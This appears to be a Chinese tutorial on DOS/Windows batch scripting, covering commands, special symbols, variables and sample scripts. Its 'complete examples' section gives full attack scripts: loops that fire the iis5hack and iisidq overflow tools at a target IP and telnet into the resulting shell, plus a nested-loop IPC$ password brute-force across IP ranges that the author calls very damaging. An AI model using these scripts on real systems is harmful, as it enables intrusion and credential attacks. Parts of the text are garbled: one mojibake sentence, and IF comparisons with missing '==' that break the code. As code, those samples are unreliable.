Start
批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件, 其扩展名为BAT 。
第一部分:批处理内部命令
1、REM
REM 是个注释命令一般是用来给程序加上注解的, 该命令后的内容在程序执行的时候将不
会被显示和执行。例:
REM 你现在看到的就是注解,这一句将不会被执行。在以后的例子中解释的内容都REM
会放在REM 后面。请大家注意。
2、ECHO
ECHO 是一个回显命令主要参数有OFF 和ON, 一般用ECHO message来显示一个特定的消
息。例:
Echo off
Rem 以上代表关闭回显即不显示所执行的命令
Echo 这个就是消息。
Rem 以上代表显示"这就是消息"这列字符
执行结果:
C:>ECHO.BAT
这个就是消息。
3、GOTO
GOTO 即为跳转的意思。在批处理中允许以":XXX" 来构建一个标号然后用GOTO :标号
直接来执行标号后的命令。例
:LABEL
REM 上面就是名为LABEL 的标号。
DIR C:
DIR D:
GOTO LABEL
REM 以上程序跳转标号LABEL 处继续执行。
4、CALL
CALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续
执行原来的批处理。例:
批处理2.BAT 内容如下:
ECHO 这就是2 的内容
批处理1.BAT 内容如下:
ECHO 这是1 的内容
CALL 2.BAT
ECHO 1 和2 的内容全部显示完成
执行结果如下:
C:>1.BAT
这是1 的内容
这就是2 的内容
1 和2 的内容全部显示完成
5、PAUSE
PAUSE 停止系统命令的执行并显示下面的内容。例:
C:> PAUSE
请按任意键继续. . .
6、IF
IF 条件判断语句,语法格式如下:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1string2 command
IF [NOT] EXIST filename command
说明:
[NOT] 将返回的结果取反值即"如果没有" 的意思。
ERRORLEVEL 是命令执行完成后返回的退出值
Number 退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于
或等于指定的值时条件成立。
string1string2 string1 和string2 都为字符的数据,英文字符的大小写将看做不同,这个条
件中的等于号必须是2 个(绝对相等),条件想等后即执行后面的command
EXIST filename 为文件或目录存在的意思。
IF ERRORLEVEL 这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL 来
判断命令的返回值。
例:
1、IF [NOT] ERRORLEVEL number command
检测命令执行完后的返回值做出判断。
echo off
dir z:
rem 如果退出代码为1(不成功)就跳至标题1 处执行
IF ERRORLEVEL 1 goto 1
rem 如果退出代码为0(成功)就跳至标题0 处执行
IF ERRORLEVEL 0 goto 0
:0
echo 命令执行成功!
Rem 程序执行完毕跳至标题exit 处退出
goto exit
:1
echo 命令执行失败!
Rem 程序执行完毕跳至标题exit 处退出
goto exit
:exit
Rem 这里是程序的出口
2、IF string1string2 command
检测当前变量的值做出判断
ECHO OFF
IF %12 goto no
Echo 变量相等!
Goto exit
:no
echo 变量不相等
goto exit
:exit
大家可以这样看效果C:>test.bat 数字
3、IF [NOT] EXIST filename command
发现特定的文件做出判断
echo off
IF not EXIST autoexec.bat goto 1
echo 文件存在成功!
goto exit
:1
echo 文件不存在失败!
goto exit
:exit
这个批处理大家可以放在c 盘和d 盘分别执行看看效果。
7、FOR
FOR 这个命令比较特殊是一个循环执行命令的命令, 同时FOR 的循环里面还可以套用FOR
在进行循环。这篇我们介绍基本的用法就不做套用的循环了, 后面再来讲解套用的循环。在
批处理中FOR 的命令如下:
FOR [%%c] IN (set) DO [command] [arguments]
在命令行中命令如下:
FOR [%c] IN (set) DO [command] [arguments]
常用参数:
/L 该集表示以增量形式从开始到结束的一个数字序列。因此, (1,1,5) 将产生序列1 2 3 4
5, (5,-1,1) 将产生序列(5 4 3 2 1)。
/D 如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
/F 从指定的文件中读取数据作为变量
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的for 本身。这会导致额外变量名
称的分配。m-n 格式为一个范围。通过nth 符号指定mth。如果符号字符串中的最后一个
字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个
单引号字符为文字字符串命令并允许在filenameset 中使用双引号扩起文件名称。
下面来看一个例子:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
会分析myfile.txt 中的每一行, 忽略以分号打头的那些行, 将每行中的第二个和第三个符号
传递给for 程序体;用逗号和/或空格定界符号。请注意,这个for 程序体的语句引用%i
来取得第二个符号,引用%j 来取得第三个符号,引用%k 来取得第三个符号后的所有剩
余符号。对于带有空格的文件名, 您需要用双引号将文件名括起来。为了用这种方式来使用
双引号,您还需要使用usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的
字符串的。
%i 专门在for 语句中得到说明, %j 和%k 是通过tokens= 选项专门得到说明的。您可以
通过tokens= 一行指定最多26 个符号,只要不试图说明一个高于字母’z’ 或’Z’ 的变量。
请记住, FOR 变量名分大小写,是通用的;而且,同时不能有52 个以上都在使用中。
您还可以在相邻字符串上使用FOR /F 分析逻辑;方法是,用单引号将括号之间的filena
meset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用
FOR /F 命令来分析命令的输出。方法是, 将括号之间的filenameset 变成一个反括字符串。
该字符串会被当作命令行, 传递到一个子CMD.EXE ,其输出会被抓进内存,并被当作文件
分析。因此,以下例子:
FOR /F “usebackq delims==” %i IN (set
) DO @echo %i
会枚举当前环境中的环境变量名称。
以下列举一个简单的例子,他将说明参数/L 和没有参数的区别:
删除文件1.TXT 2.TXT 3.TXT 4.TXT 5.TXT
例:
ECHO OFF
FOR /L %%F IN (1,1,5) DO DEL %%F.TXT
或
FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT
以上2 条命令执行的结果都是一样的如下:
C:>DEL 1.TXT
C:>DEL 2.TXT
C:>DEL 3.TXT
C:>DEL 4.TXT
C:>DEL 5.TXT
8、SETLOCAL
开始批处理文件中环境改动的本地化操作。在执行SETLOCAL 之后
所做的环境改动只限于批处理文件。要还原原先的设置,必须执
行ENDLOCAL 。达到批处理文件结尾时,对于该批处理文件的每个
尚未执行的SETLOCAL 命令,都会有一个隐含的ENDLOCAL 被
执行。例:
@ECHO OFF
SET PATH /* 察看环境变量PATH
PAUSE
SETLOCAL
SET PATH=E:\TOOLS /* 重新设置环境变量PATH
SET PATH
PAUSE
ENDLOCAL
SET PATH
从上例我们可以看到环境变量PATH 第1 次被显示得时候是系统默认路径。被设置成了
TOOLS 后显示为E:\TOOLS 但当ENDLOCAL 后我们可以看到他又被还原成了系统的默认
路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH
将会还原。
9、SHIFT
SHIFT 命令可以让在命令上的的命令使用超过10 个( %0~%9 )以上的可替代参数例:
ECHO OFF
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
执行结果如下:
C::>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
1 2 3 4 5 6 7 8 9
2 3 4 5 6 7 8 9 10
3 4 5 6 7 8 9 10 11
以上就是基于WIN2000 下的9 个批处理命令。
第二部分:特殊的符号与批处理
在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。
1、符号(@)
@在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echo off 可以关掉整个批
处理的命令回显但却不能不显示echo off 这个命令。现在我们在这个命令前加上@这样ech
o off 这一命令就被@关闭了回显从而达到所有命令均不回显得要求
2、符号(>)
的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围(后面可是
文件也可是默认的系统控制台)例:
文件1.txt 的文件内容为:
1+1
使用命令c:>dir *.txt >1.txt
这时候1.txt 的内容如下
驱动器C 中的卷没有标签。
卷的序列号是301A-1508
C:\ 的目录
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aIE rrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 个文件18,630,070 字节
0 个目录1,191,542,784 可用字节
将命令执行的结哺橇嗽嫉奈募谌荨?
在传递给控制台的时候程序将不会有任何回显(注意:这里的回显跟echo off 关掉的回显
不是同一概念。Echo off 关掉的是输入命令的回显,这里的回显是程序执行中或后的回显)
例:
C:>dir *.txt >nul
程序将没有任何显示也不会产生任何痕迹。
3、符号(>>)
符号>>的作用与符号>相似,但他们的区别在于>>是传递并在文件末尾追加>> 也可将回显传
递给控制台(用法同上)例:
文件1.txt 内同为:
1+1
使用命令c:>dir *.txt >>1.txt
这时候1.txt 的内容如下
1+1
驱动器C 中的卷没有标签。
卷的序列号是301A-1508
C:\ 的目录
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aIE rrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 个文件18,630,070 字节
0 个目录1,191,542,784 可用字节将命令执行的结果覆加在了原始的文件内容后面。
4、符号(|)
|是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例:
C:>dir c:|find “1508”
卷的序列号是301A-1508
以上命令的意思为查找的所有并发现1508 字符串。Find 的用法请用find /?自行查看
在不使用format 的自动格式化参数的时候我是这样来自动格式化盘片的
echo y|fornat a: /s /q /v:system
用过format 命令的人都知道format 有一个交互对化过程,要使用者输入y 来确定当前的命
令是否被执行。在这个命令前加上echo y 并用管道传输符|将echo 执行的结果y 传递给for
mat 从而达到手工输入y 的目的(这条命令有危害性,测试的时候请谨慎)
5、符号(^)
^ 是对特殊符号> 、<、& 、的前导字符。在命令中他将以上的3 个符号的特殊动能去掉
仅仅只吧他们当成符号而不使用他们的特殊意义。例:
c:>echo test ^> 1.txt
test > 1.txt
从上面可以看出并没有把test 写入文件1.txt 而是将test >1.txt 当字符串显示了出来。这个
符号在远程构建批处理的时候很有效果。
6、符号(&)
& 符号允许在一行中使用2 个以上不同的命令, 当第一个命令执行失败将不影响第2 个命令
的执行。例:
c:> dir z:\ &dir y:\ &dir c:
以上的命令将会连续显示z: y: c:盘内的内容不理会该盘符是否存在。
7、符号(&&)
&& 符号也是允许在一行中使用2 个以上不同的命令,当第一个命令执行失败后后续的命令
将不会再被执行。例:
c:> dir z:\ &&dir y:\ &&dir c:
以上的命令将会提示检查是否存在z:盘如果存在则执行, 如果不存在则停止执行所有的后续
命令
8、符号(" ")
" “符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例:
c:>cd “Program Files”
c:>cd progra~1
c:>cd pro*
以上方法都可以进入Program Files 目录
9、符号( ,)
,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例:
c:>dir,c:
10、符号(😉
;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生
错误则只返回错误报告但程序还是会继续执行。例:
DIR C:;D:;E:\F:
以上的命令相当于
DIR C:
DIR D:
DIR E:
DIR F:
当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。
第三部分:批处理与变量
在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量
从%0~%9 共10 个。其中%0 默认给批处理的文件名使用。除非在使用SHIFT 命令后%0 才
能被%1 所替代。引用shift 命令的例子如果把%1 前面多加上一个%0 那么结果如下:
C::>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
SHIFT.BAT 1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9 10
2 3 4 5 6 7 8 9 10 11
系统是如何区分每个变量的呢, 系统区分变量的规则为字符串中间的空格, 即只要发现空格
就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一
个当中包含空格的长目录名这时候你需要用上一节特殊符号8 中所用的引号将他圈起来。
例:
批处理内容为:
ECHO %1
ECHO %2
ECHO %3
输入命令:
C:>TEST “Program Files” Program Files
Program Files
Program
Files
在一个复杂的批处理中又可能同时使用的变量会超过10 个这时候会和系统的规则想冲突那
么这个问题怎么解决呢?在系统中还有一种变量称之为环境变量(使用SET 命令可以查看
当前系统的环境变量) 如当前系统目录是%windir% 或%SystemRoot%等。当同时使用的参数
超过10 个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体
用法如SET A=%1 这样我们就命名了一个新的环境变量A 在调用变量A 的时候要%A%
这样调用,环境变量不受SHIFT 命令影响。如果要改变一个环境变量需要重新对其设置才
能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子, 批处
理如下:
ECHO OFF
SET PASS=%1
SHIFT
SET PASS1=%1
SHIFT
ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %PASS% %PASS1% %9
SET PASS=%PASS1% 变量的传递
SET PASS1=%9
SHIFT
ECHO %PASS% %PASS1% %9
使用命令: C:>TEST A B 3 4 5 6 7 8 9 10 K L
A B 3 4 5 6 7 8 9 10 K 注意:这一行显示了11 个变量
A B L 在使用了3 次SHIFT 之后%9 变成了L
B L 变量的传递后的结果
第四部分:完整案例
以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的
一些批处理, 看看他们是怎么运作的。这里我将列举三个例子来详细分析, 为了保持程序的
完整我的注释会加在/后面。
例一
这个例子是利用iis5hack.exe 对有.printer 漏洞的主机进行溢出的批处理。用到的程序有iis5
hack.exe 和系统自带的telnet.exe。iis5hack 的命令格式为:
iis5hack <目标ip> <目标端口> <目标版本> <溢出连接端口>目标版本为0-9 这10 个数字
分别对应不同语言版本和sp 的系统版本,我们编制的批处理使用的命令格式为<iis.bat 目
标ip (开始版本号) >开始版本号可有可无。程序如下。
@echo off / 关闭命令回显
if “%1%”"" goto help /* 判断%1 是否为空, %1 为目标ip
if “%2%”“1” goto 1 /* 判断%2 是否为1,为1 则跳转标志1
if “%2%”“2” goto 2 /*%2 为开始版本号,如果没有设置则
if “%2%”“3” goto 3 /* 如果存在则从匹配的地方开始执行
if “%2%”“4” goto 4
if “%2%”“5” goto 5
if “%2%”“6” goto 6
if “%2%”“7” goto 7
if “%2%”==“8” goto 8
if not EXIST iis5hack.exe goto file /* 没有发现iis5hack.exe 就执行标志file 段内容
ping %1 -n 1 | find “Received = 1” /ping 目标1 次,从结果中发现Received = 1
if errorlevel 1 goto error / 如果返回代码为1 则执行error 段(代码1 为没有发现0 为发现并
成功执行)
iis5hack %1 80 9 88 | find “good” /* 开始溢出目标端口80 系统代码9 溢出后连接端口8
8 在执行结果中发现字符串"good”( 溢出成功后才会有字符串good)
if not errorlevel 1 goto telnet /* 如果没有错误代码1(溢出成功) 就执行telnet 段的内容。
echo 操作系统类型9 失败! /否则显示这一句
:8 /* 以下代码内容参照上面
iis5hack %1 80 8 88 | find “good”
if not errorlevel 1 goto telnet
echo 操作系统类型8 失败!
:7
iis5hack %1 80 7 88 | find “good”
if not errorlevel 1 goto telnet
echo 操作系统类型7 失败!
:6
iis5hack %1 80 6 88 | find “good”
if not errorlevel 1 goto telnet
echo 操作系统类型6 失败!
:5
iis5hack %1 80 5 88 | find “good”
if not errorlevel 1 goto telnet
echo 操作系统类型5 失败!
:4
iis5hack %1 80 4 88 | find “good”
if not errorlevel 1 goto telnet
echo 操作系统类型4 失败!
:3
iis5hack %1 80 3 88 | find “good”
if not errorlevel 1 goto telnet
echo 操作系统类型3 失败!
:2
iis5hack %1 80 2 88 | find “good”
if not errorlevel 1 goto telnet
echo 操作系统类型2 失败!
:1
iis5hack %1 80 1 88 | find “good”
if not errorlevel 1 goto telnet
echo 操作系统类型1 失败!
:0
iis5hack %1 80 0 88 | find “good”
if not errorlevel 1 goto telnet
echo 操作系统类型0 失败!
goto error
:telnet
telnet %1 88 /* 开始连接目标ip 的88 端口
goto exit /* 连接中断后跳转exit 段
:error /error 段显示错误后的帮助信息
echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!
echo iis5hack [目标IP] [WEB 端口] [系统类型] [开放端口]
ECHO 中文: 0
ECHO 中文+sp1: 1
ECHO 英文: 2
ECHO 英文+sp1: 3
ECHO 日语: 4
ECHO 日语+sp1: 5
ECHO 韩文: 6
ECHO 韩文+sp1: 7
ECHO 墨西哥语: 8
ECHO 墨西哥语+sp1: 9
goto exit / 跳转exit 段
:file /file 段显示文件没有发现的信息
echo 文件iis5hack.exe 没有发现!程序终止运行!
goto exit / 跳转exit 段
:help /help 段显示本批处理的使用格式帮助
echo 本程序用法如下:
echo iis [目标ip]
echo iis [目标ip] [开始的号码9-0]
:exit /exit 段为程序出口
这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大!
例二
这个例子是用iisidq.exe 对有idq 漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe 和
系统自带的程序telnet.exe。iisidq.exe 的用法如下:
运行参数: 操作系统类型目的地址web 端口1 溢出监听端口<输入命令1>
其中,如果输入命令参数没有输入,那么,默认为:“cmd.exe” 。
其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为<idq.bat
目标ip>程序如下:
@echo off / 同例一
if not EXIST iisidq.exe goto file / 同例一
if %1 == “” goto error /* 同例一
ping %1 -n 1 | find “Received = 1” /* 同例一
if errorlevel 1 goto error1 /* 同例一
set b=%1 /* 创建一个环境变量b,将变量%1 的内容传递给环境变量b。变量b 的内容以后将
是目标ip
set a=0 /* 创建一个环境变量a 并指定环境变量a 为0。由于使用整个批处理的循环所以用a
来做计数器。
:no /no 段开始
if %a%==0 set d=0 / 如果环境变量a=0 则创建环境变量d 设定环境变量d=0。
if %a%==1 set d=1 /* 环境变量d 其实是操作系统类型代码,用计数器来控制其
if %a%==2 set d=2 /* 变动。
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /* 变量传递完成后转到标志0 处运行
:1
echo 正在执行第%d%项!与目标%b% 不能连接!正在尝试连接请等候…
:0 /* 标志0 开始
IISIDQ %d% %b% 80 1 99 |find “good” /* 按格式发送溢出命令并在结果中发现字符串go
od(发送代码成功才会有字符串good)
if errorlevel 1 goto 1 /* 如果没有good 字符串则没有发送成跳
/* 转标志1 处继续尝试发送
ping 127.0.0.1 -n 8 >nul /ping 自己8 次相当于延时8 秒不显示执
/ 行结果
echo 正在执行第%d%项! /* 报告正在溢出的操作系统类型
telnet %b% 99 /* 连接溢出端口
echo. /* 显示一个空行
if %d%==14 goto error1 /* 如果操作系统类型为14 则跳转error1 处(循环出口)
if %d%==13 set a=11 /* 开始用计数器对操作系统代码重新附值
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /* 附值完成跳转no 段执行
:file /* 以下都是出错后的帮助提示
echo IIsidq.exe 没有发现!将该文件和本文件放在同一目录!
goto exit
:error
echo 错误!目标ip 不可识别!请使用下面的格式连接!
echo idq [目标IP]
goto exit
:error1
echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至!
echo 请按照下面的格式手工尝试!
echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口]
echo telnet [目标ip] [溢出端口]
:exit /* 整个程序的出口
这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。
例三
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f
“tokens=1,2*” %%e in (userpass.txt) do net use \%1.%%a.%%b.%%c\ipc$ %%e /u:%%f
上面的命令为1 条命令。大家可以看出该命令使用了4 个FOR 来套用的。用法为: C:>TE
ST.BAT 218 当输入218 回车后该命令会由第1 个for 取初始值0 为%%a 然后继续取第2
个for 的初始值0 为%%b 继续取第3 个for 的初始值1 为%%c 最后一个for 是将userpass.txt
中的第一段字符作为密码%%e 第二段字符作为用户名%%f 最后执行命令(这里我把上面的
值都带进去,设密码为123 用户名为abc)
net usr \218.0.0.1\ipc$ 123 /u:abc
当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我把这个例子做了些修改
(完整文件见光盘ipc.bat)由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指
定开始到结束或你指定开始到最大ip 的范围。当然功能还可以在加强,至于能加强到什么
地步能不能成为一个新的工具那就是你的事了。
这个的循环动作大了点主要是ip 的数字替换麻烦所以没办法。这个批处理我就不写注释了,
大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦! 最起码这
是个没有使用任何第三方工具就能探测并保存弱口令的批处理了! !简单的改一改杀伤力还
是很大的。以上这些批处理全部在win2000 和xp 下测试通过最大的优点就是只有一个批处
理文件并且绝对不会误报。缺点就是太长!
下面举几个应用事例
The first
To Open windows Calculator
@echo off
REM Start Calculator
set C:\WINNT\SYSTEM32
start calc.exe
exit
The second
To Open a Purging Utility
@echo off
REM Start Purge Drive
cd D:\Program Files\PurgeDrive
start purgedrive.exe
exit
The third
To Open Internet Explorer to www.510125.com
@echo off
REM Start 新都信息网in IE
set C:\Program Files\Internet Explorer
start IExplore.exe %www.510125.com
exit
The forth
To Open Microsoft Excel (“Beam Calculations”)
@echo off
REM Start Microsoft Excel Beam Calculations
set C:\Program Files\Microsoft Office\Office
start excel.exe %D:\Documents\beamcalc.xls
exit
使用方法把每一个都村存放在记事本中,然后扩展名改为.bat 运行即可看到效果
第四个需要大家建立一个beamcalc.xls 放到我的文档里边,该程序是梁的计算
是的,批处理非常方便.我都不大懂.
在此还是送上一段很实用的代码
d:
cd user
md %username%\doc
c:\winnt\system32\subst g: d:\user%username%\doc
WIN2000 和win2003 下,关闭远程用户直接通过资源管理器访问C,D,E 盘后.
如何让用户有自己的空间呢.
这个代码是让远程用户在首次登陆服务器时自动创建一个虚拟盘.
在D 盘下自动创建一个文件夹,映射为用户端的G 盘
每个用户都会有一个自己的虚拟盘
当然,不用这种方式的话,也可以用WIN2003 的权限管理来限制用户对相关文件夹的访问.我
这里一台WIN2003, 一台WIN2000 就分别用了这两种方法.
还有高手也提点意见哈
if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批
处理文件的专家啦。
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:
1、if “参数” == “字符串” 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"“a” format a:
2、if exist 文件名待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit c
onfig.sys
3、if errorlevel 数字待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2
goto x2 DOS 程序运行时都会返回一个数字给DOS,称为错误码errorlevel 或称返回码
goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if 配合使用。如:
goto end
:end
echo this is the end
标号用:字符串表示,标号所在行不被执行
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,
c:后应写提示可输入的字符,之间无空格。它的返回码为1234 ⋯⋯
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
例如, test.bat 的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag 应先判断数值最高的错误码
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后, 将显示defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if 语句将作出判
断,d 表示执行标号为defrag 的程序段, m 表示执行标号为mem 的程序段, e 表示执行标号
为end 的程序段, 每个程序段最后都以goto end 将程序跳到end 标号处, 然后程序将显示g
ood bye,文件结束。
for 循环命令,只要条件符合,它将多次执行同一命令。
格式FOR [%%f] in (集合) DO [命令]
只要参数f 在指定的集合内,则条件成立,执行命令
如果一条批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
含义是如果是以bat 或txt 结尾的文件,则显示文件的内容。
批处理语法
扩展名是bat(在nt/2000/xp/2003 下也可以是cmd)的文件就是批处理文件。
==== 注=====================================
.bat 是dos 下的批处理文件
.cmd 是nt 内核命令行环境的另一种批处理文件
从更广义的角度来看, unix 的shell 脚本以及其它操作系统甚至应用程序中由外壳进行解释
执行的文本, 都具有与批处理文件十分相似的作用, 而且同样是由专用解释器以行为单位解
释执行,这种文本形式更通用的称谓是脚本语言。所以从某个程度分析, batch, unix shell,
awk, basic, perl 等脚本语言都是一样的,只不过应用的范围和解释的平台各有不同而已。
甚至有些应用程序仍然沿用批处理这一称呼, 而其内容和扩展名与dos 的批处理却又完全不
同。
首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS 命令(大部分时候就好
象我们在DOS 提示符下执行的命令行一样),你可以使用DOS 下的Edit 或者windows 的
记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
==== 注===================
批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文
件,这缘于windows 系统这个新型解释平台的涉入, 使得批处理的应用越来越"边缘化"。所
以我们讨论的批处理应该限定在dos 环境或者命令行环境中, 否则很多观念和设定都需要做
比较大的变动。
其次,批处理文件是一种简单的程序,可以通过条件语句(if) 和流程控制语句(goto) 来控制命
令运行的流程,在批处理中也可以使用循环语句(for) 来循环执行一条命令。当然,批处理文
件的编程能力与C 语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程
序语句就是一条条的DOS 命令(包括内部命令和外部命令),而批处理的能力主要取决于
你所使用的命令。
==== 注==================
批处理文件(batch file) 也可以称之为批处理程序(batch program) ,这一点与编译型语言有所
不同,就c 语言来说, 扩展名为c 或者cpp 的文件可以称之为c 语言文件或者c 语言源代码,
但只有编译连接后的exe 文件才可以称之为c 语言程序。因为批处理文件本身既具有文本的
可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。
第三,每个编写好的批处理文件都相当于一个DOS 的外部命令,你可以把它所在的目录放
到你的DOS 搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建
立一个bat 或者batch 目录(例如C:BATCH ),然后将所有你编写的批处理文件放到该目录
中,这样只要在path 中设置上c:batch,你就可以在任意位置运行所有你编写的批处理程序。
==== 注=====
纯以dos 系统而言, 可执行程序大约可以细分为五类, 依照执行优先级由高到低排列分别是:
DOSKEY 宏命令(预先驻留内存), COMMAND.COM 中的内部命令(根据内存的环境随
时进驻内存),以com 为扩展名的可执行程序(由command.com 直接载入内存),以exe
位扩展名的可执行程序(由command.com 重定位后载入内存),以bat 位扩展名的批处理
程序(由command.com 解释分析,根据其内容按优先级顺序调用第2,3,4,5 种可执行
程序,分析一行,执行一行,文件本身不载入内存)
第四,在DOS 和Win9x/Me 系统下, C:盘根目录下的AUTOEXEC.BAT 批处理文件是自动
运行批处理文件, 每次系统启动时会自动运行该文件, 你可以将系统每次启动时都要运行的
命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。
下面是一个运行于windows 98 下的autoexec.bat 的示例:
@ECHO OFF
PATH C:windows ;C: windows COMMAND;C:UCDOS;C:DOSTools;
C:SYSTOOLS;C:WINTOOLS;C:BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /insert
LH CTMOUSE.EXE
SET TEMP=D:TEMP
SET TMP=D:TEMP
==== 注=====
AUTOEXEC.BAT 为DOS 系统的自动运行批处理文件, 由COMMAND.COM 启动时解释执
行;
而在Win9x 环境中, 不仅增加支持了DOSSTART.BAT, WINSTART.BAT 等许多其它自动
运行的批处理文件, 对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多
变体以适应复杂的环境和多变的需求。
==== willsort 编注=============
以下关于命令的分类,有很多值得推敲的地方。常用命令中的@本不是命令,而dir 、copy
等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都是常用命令。建议将批处
理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有
一类是专用于或常用于批处理中的命令可称之为"批处理命令"。
以下摘录MS-DOS 6.22 帮助文档中关于"批处理命令"的文字,当然,其中有些概念和定义
已经有些落后了。
批处理命令
批处理文件或批处理程序是一个包含若干MS-DOS 命令的正文文件,扩展名为.BAT 。当在
命令提示符下敲入批处理程序的名称时, MS-DOS 成组执行此批处理程序中的命令。
任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS 命令是专
门在批处理程序中使用的。
常用命令
echo、@、call、pause、rem(小技巧:用::代替rem) 是批处理文件最常用的几个命令,我们
就从他们开始学起。
==== 注===========
首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下
面是DOS 命令行或批处理中可能会见到的一些特殊标记符:
CR(0D) 命令行结束符
Escape(1B) ANSI 转义字符引导符
Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定符
- COPY 命令文件连接符
- ? 文件通配符
“” 字符串界定符
| 命令管道符
< > >> 文件重定向符
@ 命令行回显屏蔽符
/ 参数开关引导符
: 批处理标签引导符
% 批处理变量引导符
其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:
第一, 除了:: 之外, 任何以:开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的
所有内容, 只是为了与正常的标号相区别, 建议使用goto 所无法识别的标号, 即在:后紧
跟一个非字母数字的一个特殊符号.
第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on 打开命令行
回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下
将比:: 更为适用; 另外, rem 可以用于config.sys 文件中.
=====================
echo 表示显示此命令后的字符
